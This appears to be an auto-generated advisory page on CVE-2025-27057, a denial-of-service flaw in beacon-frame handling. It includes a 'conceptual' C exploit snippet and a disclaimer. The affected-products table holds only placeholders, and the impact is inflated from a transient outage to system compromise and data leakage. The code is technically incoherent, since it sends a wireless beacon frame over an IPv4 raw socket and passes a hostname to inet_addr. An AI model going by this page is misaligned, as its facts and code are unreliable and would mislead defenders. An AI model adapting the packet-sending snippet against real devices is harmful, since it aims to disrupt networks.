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CVE-2025-27057: Transient Denial of Service Vulnerability in Beacon Frame Handling

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Overview

The vulnerability CVE-2025-27057 is a critical security flaw that allows for a transient Denial of Service (DoS) attack due to improper handling of beacon frames with invalid Information Element (IE) header length. This vulnerability predominantly affects network devices and can potentially lead to system compromise or data leakage. Its severity and potential impact necessitates immediate attention from security teams.

Vulnerability Summary

CVE ID: CVE-2025-27057
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

[Product 1] | [Version 1.0-1.5]
[Product 2] | [Version 2.0-2.3]

How the Exploit Works

The CVE-2025-27057 exploit works by sending malformed beacon frames with invalid IE header lengths to the targeted system. Most systems are not equipped to handle these anomalous packets, which results in a transient Denial of Service (DoS) condition. This condition can then be exploited to compromise the system or lead to data leakage.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below. This is a crafted packet with an invalid IE header length that could induce a DoS condition.

#include <netinet/in.h>
#include <sys/socket.h>
int main() {
struct sockaddr_in target;
int socket_fd;
char buffer[] = "\x80"  // beacon frame
"\x00\x00\x00\x00\x00\x00"  // invalid IE header length
"\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";
socket_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
target.sin_family = AF_INET;
target.sin_port = htons(0);
target.sin_addr.s_addr = inet_addr("target.example.com");
sendto(socket_fd, buffer, sizeof(buffer), 0, (struct sockaddr *)&target, sizeof(target));
return 0;
}

This is merely a conceptual representation and will not work as is. Real exploits would require additional steps, including identifying the target and properly crafting the malicious payload.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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